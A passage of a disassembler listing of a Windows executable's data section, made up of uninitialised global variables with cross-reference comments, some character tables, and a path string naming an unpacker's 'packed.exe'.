0 ; DATA XREF: sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw ; sub_409909+6D0r ... dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw ; ___:00411290r dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5037r ... dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w ; sub_409909+23Cr dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w ; sub_409909+227r dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w ; sub_409909+774r dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w ; ___:00416C7Cr ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r ; sub_409909+31w ... dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w ; sub_409909+93Br dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4468r ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C3E8+2F1w ... dd 7FEh dup(0) dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w ; sub_40BD91+1F8r dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r dd 0 dd 0 dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r ; ___:0040EF0Er align 10h dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr align 8 dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w ; ___:0040FA10r ... dd 3 dup(0) dword_4CE72C dd 0 ; DATA XREF: ___:00411306r dd 0 dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o dd 10Ah dup(0) dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... dd 11Ch dup(0) dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o dd 1B7h dup(0) dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o ; ___:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; ___:0041B6CAo dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w ; ___:loc_41DB07w ... dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w ; sub_41E312:loc_41E3ACw ... dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar dd 0A28h, 501h, 5, 1 dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r ; ___:0042381Dw dword_4DBDFC dd 2460B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... dd 0 dword_4DBE04 dd 2460B58h ; DATA XREF: ___:00423717w dd 3 dup(0) off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw ; sub_4241E3+5r align 10h dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r ; sub_41C1B3+8Bw dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br ; sub_41CAD4+91w align 10h dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r ; ___:loc_423727r ... dd 0 dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ... dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r ; sub_4208E2+4w ... dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r align 8 dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r ; sub_42237D+1Ar ... byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r ; sub_422279+98r ... align 10h dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r ; sub_42245B+21w ... byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w align 4 dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er ; sub_422A2C+3Ar ... dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr ; sub_422A2C+43r ... dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar ; sub_4227F8+5r dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r ; sub_4232A8+4Cw ... dd 2 dup(0) dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r ; sub_41DE4A+6Er ... dd 3 dup(0) dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r ; sub_41E0D4+BFr ... dd 0 dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r ; ___:0042353Dw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o ; ___:off_4DBE14o align 4 dd 3Ah dup(0) dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr ; ___:004239FCw ... dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w ; sub_420CE6:loc_420D0Fw ... dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r ; sub_4244F4:loc_42455Ew word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao ; sub_424DF9+46r byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r align 4 dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w ; sub_424DF9+5Co dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr ; sub_424F1C+38r ... dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r ; sub_425029+2Ew ... dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w ; sub_425029:loc_425078r dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw ; sub_425029+60r dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr ; sub_425C06+6Do dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r ; sub_425C06+44o dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r ; sub_425C06+37o dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r ; sub_425C06+51o align 10h dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r ; sub_426636+4Cw ... dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r ; sub_4268C1:loc_42692Bw byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w align 4 dword_4DC01C dd 2461140h ; DATA XREF: sub_41E490:loc_41E4A1r ; sub_41FD3D+14r ... dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o ; ___:0043D570o dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r ; sub_41E490+56r ... dd 7 dup(0) dword_4DD040 dd 2460650h ; DATA XREF: sub_41F8E3+75r ; sub_41F9BC+2Ar ... dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r ; sub_41F9BC+Cr ... dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r ; sub_420749+65w ... align 10h dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o ; sub_420749+171o ... dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w ; sub_420749+15Dw ... byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w ; sub_420988:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co ; sub_420749+AFo ... byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr ; sub_420749+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew ; sub_420749+12Bw ... dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r ; sub_41ED74+32w dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD370 dd 0 ; 